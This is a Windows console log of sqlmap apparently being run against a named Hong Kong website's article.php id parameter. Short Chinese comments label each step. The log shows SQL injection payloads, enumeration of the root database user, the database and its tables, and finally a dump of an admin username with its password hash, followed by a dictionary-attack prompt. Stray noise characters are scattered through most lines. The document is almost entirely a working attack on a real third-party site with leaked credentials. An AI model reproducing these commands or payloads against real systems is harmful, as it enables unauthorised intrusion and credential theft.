D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db+ t5 G. k3 y2 \
ms "Mysql" --current-user /* 注解:获取当前用户名称- B* R$ [4 e" R" c8 Q
sqlmap/0.9 - automatic SQL injection and database takeover tool; W/ k. U# P2 o/ |
http://sqlmap.sourceforge.net starting at: 16:53:54. @( S. c6 |7 z) N _& }
[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
& Q: E6 d4 \' B) y3 T session file* X; M$ U: ?9 Z4 d! X" d
[16:53:54] [INFO] resuming injection data from session file7 A* v( b% U* a) M; I
[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
. N0 ^7 l, U7 v8 i( v[16:53:54] [INFO] testing connection to the target url
+ J2 ~4 q2 ]$ c1 g4 L! Gsqlmap identified the following injection points with a total of 0 HTTP(s) reque e9 N4 C3 m" ^ y* \7 L, ]" `
sts:% |3 @" N1 a2 Q0 ?( K
---2 V9 ~- |2 V2 h
Place: GET$ ], d* {& U( t& X. g5 f) m( S4 o( a
Parameter: id8 c, }% E4 o4 i1 |5 O
Type: boolean-based blind
$ C: e" U# h4 O& c. ^! s* A* K Title: AND boolean-based blind - WHERE or HAVING clause
; Z' g# o. i/ H3 A5 ~ Payload: id=276 AND 799=7992 e$ k# H; D$ F9 \
Type: error-based
+ S6 |: I) _. c. u Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
) a3 }# P% X8 H q/ u Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
. s" P+ s c I( i! S) |9 Y120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
4 r3 t" i( D. X4 N),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)( i' A4 A3 c0 l( E
Type: UNION query/ t% Z$ ~7 b" w( f
Title: MySQL UNION query (NULL) - 1 to 10 columns
4 A# P7 H P" d8 A7 X3 s! A' B7 C Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR' B# q( S6 {7 N+ A
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
& C' z- X: l! vCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#: E# Y: P: Y6 M' z
Type: AND/OR time-based blind: m- _$ c% K0 U. A
Title: MySQL > 5.0.11 AND time-based blind
4 d0 }8 H7 b8 g Payload: id=276 AND SLEEP(5)
2 E, i" ?; ^: `& q: i1 _---3 K! f9 {$ `6 ~) b7 \# Q2 u
[16:53:55] [INFO] the back-end DBMS is MySQL1 f+ [" K) @3 Y2 Q, Z. [; L5 @
web server operating system: Windows- A' d$ r. m; k. F! m3 L) {/ u
web application technology: Apache 2.2.11, PHP 5.3.0) X5 t6 Q# c. S3 J" F
back-end DBMS: MySQL 5.0
5 f9 Y" {5 i8 `' x. O[16:53:55] [INFO] fetching current user
& ?+ Y4 s9 ?' u3 u0 u3 x1 Jcurrent user: 'root@localhost' ; G7 C' {! u! y' N2 i( L' G8 w% H
[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
( _ P- I( a4 g8 E. H) Z: O/ jtput\www.wepost.com.hk' shutting down at: 16:53:58; j3 Z" m/ {4 a/ y }
0 j" C' ?8 h3 A# k
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
/ m4 [- J: a$ C- W. g5 Ims "Mysql" --current-db /*当前数据库/ s; W" M; r+ ~- x5 S
sqlmap/0.9 - automatic SQL injection and database takeover tool
* o x, o3 O& I; G6 U! x http://sqlmap.sourceforge.net starting at: 16:54:16! w* a+ L& {0 K1 n4 x% Z6 j2 u% a
[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
9 g# C- m4 g" {6 t8 |9 w, g) b session file8 \$ q6 O8 P. W; t" N
[16:54:16] [INFO] resuming injection data from session file- C( G5 C1 t! W( {* v3 d
[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
% @" ?; y5 V. a[16:54:16] [INFO] testing connection to the target url
( w& B l* O# N/ ssqlmap identified the following injection points with a total of 0 HTTP(s) reque
! E% ~ T; P5 W) U0 p4 m" _sts:1 m# s$ m& u$ K, ]$ ?
---2 e6 D- B" Q( `! F
Place: GET/ T# W1 [* m& E3 [) {. A! r
Parameter: id' h1 i2 d w! P; q) o+ }" d
Type: boolean-based blind- Y6 s2 p x: D, ~$ A; w
Title: AND boolean-based blind - WHERE or HAVING clause" c$ ^. u8 t" h& l+ D/ W
Payload: id=276 AND 799=799
+ ^: a+ X8 l6 U- E Type: error-based% w- A' }/ y1 O+ X: F3 e
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
( f, a3 X8 Z6 H5 k) k3 ] Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
- N3 h3 T/ P6 G" o$ U2 M120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,584 s) ~8 }' S7 H Q7 \, d+ f
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
1 a1 o2 m6 H$ i Type: UNION query
; N2 P3 v/ W% [' B, v3 T7 |: Z; x Title: MySQL UNION query (NULL) - 1 to 10 columns
# v3 @. q( G& W! D, G9 Y Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR1 T7 F6 h/ m* `: N, ^: }
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
/ b3 i- Y5 U- ^. k1 g0 pCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
# ^' l3 ~+ Z, }1 T4 A# B- B Type: AND/OR time-based blind- p( U3 }; z% @
Title: MySQL > 5.0.11 AND time-based blind
8 v$ H, }' i. Y1 m% O a: K* u% d8 | Payload: id=276 AND SLEEP(5)1 h, w$ J3 z1 r* o
---
8 q9 w; f, ~5 c/ K+ I3 j[16:54:17] [INFO] the back-end DBMS is MySQL9 I! N; P+ ]' w
web server operating system: Windows
' q. X W1 E* N v- J& Hweb application technology: Apache 2.2.11, PHP 5.3.0
* p( q3 i1 p5 m% tback-end DBMS: MySQL 5.07 K3 M4 F3 v: T8 @1 U6 H4 K
[16:54:17] [INFO] fetching current database4 G; o& g9 Y/ X
current database: 'wepost'
- e* d( u: i% l, }[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou# K: V% d- J9 [% m. S0 D! r. R0 z
tput\www.wepost.com.hk' shutting down at: 16:54:18
0 l1 F9 W+ C4 ]$ k4 @7 C+ HD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
2 H: _" W& y5 x. u& T& ]ms "Mysql" --tables -D "wepost" /*获取当前数据库的表名
$ W8 \& Y' ^- ~+ ~) S9 d' I sqlmap/0.9 - automatic SQL injection and database takeover tool1 s8 ^- s L& r: [1 R+ q) S+ C1 k
http://sqlmap.sourceforge.net starting at: 16:55:251 ~- Z, E5 y# K' R2 ]
[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
4 q) k% {7 B8 I6 x9 t! c$ x; [8 C session file
6 ?1 ?6 {% E$ E: [- y% f! l[16:55:25] [INFO] resuming injection data from session file! Q6 j6 b6 i$ T$ v% r2 `
[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file5 E0 ^6 L5 f! \; d$ u& V( t
[16:55:25] [INFO] testing connection to the target url
" h/ ]2 b I! P" ^" P8 xsqlmap identified the following injection points with a total of 0 HTTP(s) reque, l" ?9 u% x' {$ @0 f5 s! Q
sts:
9 v' P& m& I2 u' I6 Y- w- Q, M---
5 A9 f% ~8 `, RPlace: GET; p5 k/ [) I6 R
Parameter: id" Y# q& r# d8 g' r( K( }; D+ c
Type: boolean-based blind- ~% Z3 m( z/ A. b
Title: AND boolean-based blind - WHERE or HAVING clause! i& f2 b& k6 b" ~- J+ x) k, R
Payload: id=276 AND 799=799( O9 {0 B9 Z6 Q( V% K# `: E
Type: error-based! K, q4 D$ J3 a' \
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
, U! f- b8 x6 _) ^& T Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,3 i' h+ u$ q. @1 Z# e
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,583 S/ d* m; ^" v# R# \, F y
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)4 B- }* _# X7 D' R
Type: UNION query
A" Y% _$ C6 R7 b! q: m Title: MySQL UNION query (NULL) - 1 to 10 columns8 g! {6 _. d% D7 p8 T
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR4 R0 Z. n4 W0 }% y; d9 {
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),1 v& J1 T! O) X7 n7 R. B( S
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#, T4 L, o0 W2 k+ p$ ^
Type: AND/OR time-based blind% ^0 p- O2 ? n Y3 ?
Title: MySQL > 5.0.11 AND time-based blind# q; T5 F8 N, u! W4 t
Payload: id=276 AND SLEEP(5)
* q" d- z6 D; A- F! H( [---4 D; {/ W2 Q z. K" [5 C
[16:55:26] [INFO] the back-end DBMS is MySQL- i) e! ]8 m' J2 P% i2 R
web server operating system: Windows: ~! j- y: d7 F3 k+ D' H
web application technology: Apache 2.2.11, PHP 5.3.0
& F m0 |# x9 N, u8 j/ K8 B2 B5 xback-end DBMS: MySQL 5.0
* K9 @5 w4 h6 C) N% j[16:55:26] [INFO] fetching tables for database 'wepost'4 y! `/ } B# J3 e! k! @% e
[16:55:27] [INFO] the SQL query used returns 6 entries1 i: w4 D: k x# z- X+ A
Database: wepost4 D2 h/ N# e+ H% ^; Z( [3 {5 X
[6 tables]7 Y+ R. c: B3 C- L; k
+-------------+( l8 N6 y. L9 Y2 S- y9 p; _
| admin |) b$ C2 M# D, M% f7 ^% t+ p
| article |
) E. P( e$ @3 v5 o; ?| contributor |
7 b7 G V7 Y2 x5 y/ f0 R( B+ K8 u| idea |4 Q6 N% K/ T8 ?( o$ \% N
| image |
( }2 G$ o% N3 n. U* z" }/ J| issue |4 {' {( w6 H* [/ ]1 G( w: A
+-------------+
: U/ M! I: M5 B! m[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
& N9 l" ~$ ~- ` e9 W9 }# ^tput\www.wepost.com.hk' shutting down at: 16:55:33! v5 S) a% [- ~: q6 {
8 W& I6 f& ?4 }, \/ c
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db4 u/ [( `0 p( ^2 p3 R
ms "Mysql" --columns -T "admin" users-D "wepost" -v 0 /*获取admin表的字段名. m, s& @3 l; Y% |
sqlmap/0.9 - automatic SQL injection and database takeover tool- D$ L! L; ?& U( h; U; B8 Y& s- o G
http://sqlmap.sourceforge.net starting at: 16:56:061 ^ L8 l( d( v% ]6 } B* d
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
( D0 Z- {) {& Wsts:
& _# m d. [) ?9 E---4 O$ N! E. e& r. b7 B, X% n. q0 R; E
Place: GET% n1 U3 I S+ A4 s) C+ }) ?, f
Parameter: id
. Z3 ^; h* f. |3 {* @! L: l" t Type: boolean-based blind: g9 n0 }6 X0 A3 p L% W
Title: AND boolean-based blind - WHERE or HAVING clause
, j w- }3 H5 d; b# U9 D% W. A Payload: id=276 AND 799=799
% W( ^3 A( e9 l+ w Type: error-based6 a$ @3 e8 I$ ^# a% A, g/ {, ]
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause) q" b7 x5 d0 M. n4 X1 P! C
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,' r! Q4 [9 T7 w, N/ y! C
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
% }' \* |5 ~+ d9 D6 E5 G5 A C+ M5 {),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)9 h4 F4 t, V3 ]9 C& k; L( F
Type: UNION query
' [* K) M2 f6 R Title: MySQL UNION query (NULL) - 1 to 10 columns
( u% z- `8 o- _5 h; l Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR' |# L4 ^ T" d2 d
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),' `( Y% S5 m& u9 q
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#( q1 R$ [) e' j' l3 { m# v
Type: AND/OR time-based blind
" E, {; [$ x5 z" u, D: _4 e/ s Title: MySQL > 5.0.11 AND time-based blind
8 I' ^! P9 N- i Payload: id=276 AND SLEEP(5)2 b+ X# ^& `2 a. o- t
---
* c- ~) [# t' P4 u! ~( ]web server operating system: Windows) e/ W9 U9 N# j$ J1 U! x
web application technology: Apache 2.2.11, PHP 5.3.0; |. s( l4 c$ m- U5 M4 ~
back-end DBMS: MySQL 5.0: ~; ]/ Y$ X a8 r; {5 H
[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se
/ Z" F' H. a) Y* C$ sssion': wepost, wepost
$ Q% h$ a; }' Z( y2 JDatabase: wepost* K' E' [$ I/ ~' M9 p
Table: admin
9 d6 J6 ?. _ {5 W [& ^# ^[4 columns]; y$ W& _# t+ i+ q; }) p: o! z
+----------+-------------+
) F$ `5 N/ @/ I% t0 _* ]- C| Column | Type |
, S' A; _7 ]9 @+----------+-------------+( d8 a$ w: r& _* i1 U7 C9 ~
| id | int(11) |4 l+ H9 n0 p7 _, z
| password | varchar(32) |
7 K- q% l* K6 W- A% E| type | varchar(10) |, E' b0 e* ~; R0 ^& C
| userid | varchar(20) |* ?! T) u, p' i6 C4 z6 V+ H) N
+----------+-------------+( W! B2 Z" H( _( t& F3 N& u" C
shutting down at: 16:56:19
; K3 M$ d" \7 ] M+ i# Z! Q0 P3 V* t& J+ s8 v7 W
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db; j) |$ W7 d% g' b0 k
ms "Mysql" --dump -C "userid,password" -T "admin" -D "wepost" -v 0 /*获取字段里面的内容
# Y( ?6 z& ^& W4 E E2 t4 z/ Z sqlmap/0.9 - automatic SQL injection and database takeover tool
* ~+ O, _6 N4 Y$ C6 |# T http://sqlmap.sourceforge.net starting at: 16:57:14
4 n6 o/ |2 U7 E& R- Nsqlmap identified the following injection points with a total of 0 HTTP(s) reque
3 q2 A. `( z) G lsts:0 k8 D) j1 P8 w
---" M5 C" A: ]7 M6 k1 R
Place: GET! y* Q2 ?. c j2 W+ u) k' ~
Parameter: id
' J" s, z# k8 t$ s Type: boolean-based blind8 s+ A6 I) r/ j n: \
Title: AND boolean-based blind - WHERE or HAVING clause
2 x" K* i- P8 s2 ^) e* n$ y" @; I Payload: id=276 AND 799=799
# v$ i( l7 T* M0 r3 R2 V Type: error-based5 k/ f1 B3 `$ o; e1 U
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause* f9 Q; Y! {8 [
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
" f8 s& E1 Y# E- U1 E- j- Y120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
& ~. O$ N' r6 ^3 u2 ?),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)$ b( d, T- n) W" ]9 J* W6 M
Type: UNION query7 r: y1 W4 B% s. L: P" i
Title: MySQL UNION query (NULL) - 1 to 10 columns4 j- r6 ~, Y; u4 o) z R
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
8 A5 r6 R. I! |" ?* s+ `(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
3 M o$ f" E! Q% Y6 K2 B1 g0 p; g. ]CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
( z6 o4 ?2 j) h% M, U% N1 r Type: AND/OR time-based blind/ K+ B4 f; C. @& S) N( I# t
Title: MySQL > 5.0.11 AND time-based blind
- A7 }. E" p* X2 f' C) ^) h Payload: id=276 AND SLEEP(5)
$ _! H4 `/ b( `; T1 ~---
5 N6 P7 O' F1 ?% ]. [4 {web server operating system: Windows
}. M) U+ c( V* E& oweb application technology: Apache 2.2.11, PHP 5.3.00 ]/ a3 B3 b9 O* v8 q; V3 Y0 F
back-end DBMS: MySQL 5.0
% h. o& _; C" \; Drecognized possible password hash values. do you want to use dictionary attack o
) S# Y) i3 C4 c' pn retrieved table items? [Y/n/q] y4 O4 X [$ u( r' q, N5 i
what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]7 M2 v7 l$ b1 R
do you want to use common password suffixes? (slow!) [y/N] y" l! r1 P+ M& X7 ?6 U1 Z. E# z
Database: wepost: Z1 ]) H# r8 ^: \: T7 x$ o5 y* D
Table: admin9 V. V; ^$ I) O9 k7 t Z; j
[1 entry]3 c4 h, P( a; R( i* R6 c5 U _4 g
+----------------------------------+------------+
0 J: n5 Q( Y! |7 r$ Q| password | userid |; Z9 e" h6 b4 N/ t( j0 {
+----------------------------------+------------+/ R; Q5 q; f4 g, X2 S3 {
| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |5 ~* j# B8 Z& ~* d# L8 |6 Y# F6 }. D3 v
+----------------------------------+------------+ s' I/ C# d+ N r1 W9 ~
shutting down at: 16:58:14
# q$ A0 F3 G" ?( A I) O0 j$ k$ A/ c
& c1 S: \, A- l# s! N ]( Y* ED:\Python27\sqlmap> |